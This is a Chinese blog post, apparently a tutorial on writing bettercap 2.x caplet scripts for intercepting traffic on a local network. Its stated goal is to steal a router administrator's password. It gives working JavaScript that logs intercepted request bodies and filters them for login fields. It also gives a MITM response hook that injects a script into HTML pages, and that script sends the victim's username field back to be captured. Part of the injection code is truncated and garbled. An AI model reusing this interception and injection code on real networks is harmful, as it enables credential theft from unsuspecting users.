【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写
/文章作者:Kali_MG1937
CNBLOG博客:ALDYS4
QQ:3496925334/
第一期: https://www.cnblogs.com/aldys4/p/14877783.html
在上第一期文章中我简要解析了bettercap模块的编写方法
这一期我们将编写一个注入模块来应用于实战中
实战内容:流量嗅探
明晰思路
假设一个场景:你想要进入内网的路由器管理页面
可是你并不知道密码,那么就需要嗅探管理员的流量,诱导对方登入管理页面以便自己得到密码
思路非常简单
要嗅探目标主机可能发送的关键信息,主要还是拦截目标主机发出的请求
我们在上一期已经知道onRequest函数是用来拦截request请求的
其中包含两个变量:req,res
req即为request,所以我们对这个函数进行操作
利用ReadBody函数来读取req的具体内容并打印在终端上
开始工程
function onRequest(req,res)
{
var data=req.ReadBody();
log("\033[01;32mDUMP!!!:\n"+data);
}
很简单易懂的代码,我们将模块带入bettercap进行测试
可以看到 目标主机一旦发送请求,就能立刻被拦截
接下来将脚本升级,让脚本自动嗅探密码之类的关键信息
function onRequest(req,res)
{
var data=req.ReadBody();
if(data.indexOf("user_name")!=-1)
{
log("\033[01;32mPASSWORD DUMP!!!!!!!!:\n"+data);
}
}
可以看到我只是对body的内容进行判断,脚本就能自动筛选重要信息了
嗅探关键信息的思路明晰之后就非常好办了
但如果受害者发送的请求已经经过加密那该怎么办?
那也非常简单,我们可以对服务器发送给目标主机的内容做做手脚
我在这里举一个简单的例子:
对网页内容注入一个脚本,让目标主机在点击登入按钮时获取用户名及密码input标签的内容并发送给我
我先编写一个欲注入的js脚本,命名为inject.js
<script>
function posts()
{
var http=new XMLHttpRequest();
var data=document.getElementById("username").value;
alert(data);//我这里仅仅是为了测试而调用alert函数
http.open('POST','/test');//向test页面发送请求
http.send(data);
}
</script>
很明显,我写的上面这个脚本先建立一个XMLHttpRequest对象
并将指定id的值放入data
最终函数将向一个不存在的页面发送post请求,以便bettercap嗅探到
function onRequest(req, res) {
if( req.Method == 'POST' && req.Path == "/test" )
//如果请求是post,并且请求页面是test,则执行如下代码
{
log( "\033[01;32m[LOGIN MANAGER ABUSER]\n"+req.ReadBody() );
headers = res.Headers.split("\r\n");
for (var i = 0; i < headers.length; i++) {
header_name = headers[i].replace(/:.*/, "");
res.RemoveHeader(header_name);
}
res.SetHeader("Connection", "close");
res.Status = 200;
res.ContentType = "text/html";
res.Body = "";//清除请求内容
}
}
// inject the javascript in html pages
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
if( body.indexOf('') != -1 ) {
body = body.replace(
'',
'<script type="text/javascript">' + "\n" +
readFile("/root/inject.js")//注入脚本 +
'</script>' +
''
); //这一部分注入脚本
body=body.replace('
【工具解析】瑞士军刀bettercap2.X_解析_第二期_内网钓鱼(嗅探)工具编写的更多相关文章
- linux下搭建redis内网端口映射工具-rinetd
最近在工作中使用到了redis缓存,用来提某些业务场景的计算速度和某些情况下的操作频率限制,客户端工具使用了redisDesktopmanager来管理,在本机操作测试的时候,是没有问题的.但是将系统 ...
- 【渗透实战】那些奇葩的WAF_第二期_无意发现通杀漏洞,空字节突破上传!
/文章作者:Kali_MG1937 CSDN博客号:ALDYS4 QQ:3496925334 未经许可,禁止转载/ 该博文为本人18年左右的渗透记录,文法粗糙,技术含量极低,流水账文章,且今日不知为何 ...
- linux下内网端口转发工具:linux版lcx [实现远程内网维护]
这个工具以前使用的初衷是内网渗透,需要将内网ssh端口转发到外网服务器上.但这个工具同样适用于运维工程师进行远程内网维护. 当然这一切的前提是内网可以访问外网,检测方法当然就是直接ping 一个外网I ...
- Natapp内网穿透服务工具
在做微信开发的时候,调用微信接口成功之后,微信会回调我们事先配置好的一个接口.由于微信的服务是在外网的,所以这个回调接口也只能是外网,而且微信要求回调接口只能是通过ICP备案的域名,不能使用IP,所以 ...
- 【工具解析】瑞士军刀bettercap2.X解析_第一期_编写HTTP代理注入模块_http(s).proxy.script
/文章作者:Kali_MG1937 CNBLOG博客号:ALDYS4 QQ:3496925334/ 前言 bettercap已经从1.6更新至2.0版本 语言也从ruby改为了go 编写注入模块指定的 ...
- 深入理解java虚拟机_第二章_读书笔记
1.本章内容目录: 概述 运行时数据区域 程序计数器 java虚拟机栈 本地方法栈 java堆 方法区 运行时常量池 直接内存 HotSpot虚拟机对象探秘 对象的创建 对象的内存布局 对象的访问定位 ...
- C语言_第二讲_规范以及常用数据类型
一丶编码规范基本数据类型 编码规范 任何程序员,都应该有良好的的编码习惯,便于以后的代码可读性和维护 常见了编码规范有 匈牙利命名法 驼峰式大小写 匈牙利命名法: 是电脑程序设计中的一种变量命名规则, ...
- Java编程思想_笔记_第二章_一切都是对象
第二章对于知识只是点到,会在以后章节会详细展开. 笔记的侧重会偏向记录自己知识模糊的地方.比如 xxx 很重要很难很实用,但是已经熟练使用就没有记录,而 “使用对象.成员名称来使用成员变量”,较简单而 ...
- Python笔记_第二篇_面向过程_第二部分_5.第三方模块的使用和自定模块(以Pillow模块为例)
1. 安装第三方模块: 打开黑屏终端: cmd: pip -verson pip - V C:\windows\system32>pip -V pip from c:\python37\lib\ ...
随机推荐
- [BUUCTF-Pwn]hitcontraining_uaf
[BUUCTF-Pwn]hitcontraining_uaf 以此题作为对Pwn中堆利用的学习的开始.堆题初见,肯定有许多地方理解不恰当,希望师傅们能多多指教. 0x00.简述 成因 应用程序调用fr ...
- 【vue-08】vuex
vuex的作用 简单理解,就是将多个组件共享的变量统一放到一个地方去管理,比如用户登录时的数据token. 快速上手 安装:npm install vuex 首先,我们在src文件夹下创建一个文件夹: ...
- Java筑基 - JNI到底是个啥
在前面介绍Unsafe的文章中,简单的提到了java中的本地方法(Native Method),它可以通过JNI(Java Native Interface)调用其他语言中的函数来实现一些相对底层的功 ...
- Excel-宏与VBA-数据类型
学习视频,本文是观看前视频时做的笔记,手动感谢up. 数据类型 案例 声明一个变量并且赋值 Sub 变量() ' 声明一个变量用Dim,格式就是 Dim 变量名 As 数据类型 Dim Score A ...
- 如何使用flask将模型部署为服务
在某些场景下,我们需要将机器学习或者深度学习模型部署为服务给其它地方调用,本文接下来就讲解使用python的flask部署服务的基本过程. 1. 加载保存好的模型 为了方便起见,这里我们就使用简单的分 ...
- MindSpore模型验证
技术背景 在前面一篇博客中,我们介绍了MindSpore在机器学习过程中保存和加载模型的方法.这种将模型存储为静态文件的做法,使得我们可以更灵活的使用训练出来的模型,比如用于各种数据集的验证,或者是迁 ...
- 『居善地』接口测试 — 6、Httpbin服务介绍
目录 1.Httpbin服务介绍 2.在Windows系统中部署Httpbin服务 3.在Linux系统中部署Httpbin服务 4.Httpbin访问方式 5.Httpbin常用调试接口 6.总结: ...
- Spring 中使用了那些设计模式呢?
一. Spring 中常见的设计模式 工厂模式 : BeanFactory 装饰器模式: BeanWrapper 代理模式: AopProxy 单例模式: ApplicationContext 委派模 ...
- CentOS7 / CentOS8 设置终端屏幕分辨率
Centos7 修改文件 /boot/grub2/grub.cfg 搜索 linux16 / /vmlinuz-3.10.0-123.el7.x86_64 root=UUID=881ac4e6-4a5 ...
- [bug] Hive:Caused by: MetaException(message:Hive Schema version 2.1.0 does not match metastore's schema version 1.2.0 Metastore is not upgraded or corrupt)
参考 https://www.cnblogs.com/liupuLearning/p/6610307.html 少了创建hive数据库一步